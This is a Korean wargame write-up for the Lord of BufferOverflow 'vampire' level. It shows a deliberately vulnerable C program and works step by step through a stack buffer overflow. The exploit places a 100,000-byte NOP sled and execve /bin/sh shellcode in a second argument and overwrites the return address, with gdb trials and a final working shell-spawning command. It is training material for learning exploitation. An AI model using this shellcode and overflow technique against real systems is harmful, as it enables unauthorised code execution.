[LOB] troll
troll로 로그인을 하면 vampire 파일이 있다.
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// here is changed!
if(argv[1][46] == '\xff')
{
printf("but it's not forever\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
코드를 확인하면,
1. if(argv[1][47]!='\xbf')에서 48bytes째에서 입력 인자가 '\xbf'가 되어야 한다.
2. if(argv[1][46]=='\xff')에서 47bytes째에 입력인자가 '\xff'가 되면 안 된다.
☞ 이 부분이 이문제에서 새로 추가된 부분이다.
3. strcpy(buffer, argv[1]);에서 인자 길이를 지정하지 않아서 버퍼오버플로우 공격이 가능하다.
또한 기존에 있던 제한이 사라진 게
1. 인자값 제한 없음
2. 환경변수를 0으로 초기화하는 게 없음
3. buffer와 argv [1]을 0으로 초기화하는 게 없음
이 문제를 풀기 위해서,
1. 인자값이 제한 없는 것을 이용해서 인자(argv[2])를 하나 더 주고
2. 해당 인자의 크기를 엄청 크게 해서 주소가 0xbfff~가 되면 안 되기 않게 크게 만든다. (NOP + 쉘코드)
3. 첫 번째 인자(argv[1])는 변수의 크기 + RET 설정
1. 인자값을 얼마나 크게 주어야 할지 봐야 하기 때문에,
- vampire 파일을 /tmp/vampire 폴더를 만들어서 하나 복사한다.
- 변수로는 buffer의 크기가 40bytes인데 stack에도 40bytes가 할당된 것을 확인할 수 있다.
첫 번째 인자 : buffer(40bytes) + sfp(4bytes) + ret(4bytes) 로 설정하면 될 거 같다.
`python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
두 번째 인자 : NOP + 쉘코드
0xbfff가 아닌 주소를 확인하기 위해서 gdb에서 main함수에 BP를 걸고 확인을 해보아야한다.
두 번째 인자값에서 \x90 의 길이를 키워가면서 주소가 변하는 것을 확인해 본다.
`python -c 'print "\x90"*개수+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
1) "\x90" * 100 일때
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
▶ 안됨.
2) "\x90" * 1000 일때
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'` `python -c 'print "\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
▶ 안됨.
3) "\x90" * 10000 일때
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'` `python -c 'print "\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
▶ 안됨.
4) "\x90" * 100000 일때
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'` `python -c 'print "\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
▶ 됨!
→ RET 함수로 설정할 주소로 0xbffe75ec 설정
위의 정보를 종합해서
1) 첫 번째 인자 : `python -c 'print "A"*44+"\xec\x75\xfe\xbf"'`
2) 두 번째 인자 : `python -c 'print "\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
./vampire `python -c 'print "A"*44+"\xec\x75\xfe\xbf"'` `python -c 'print "\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
성공!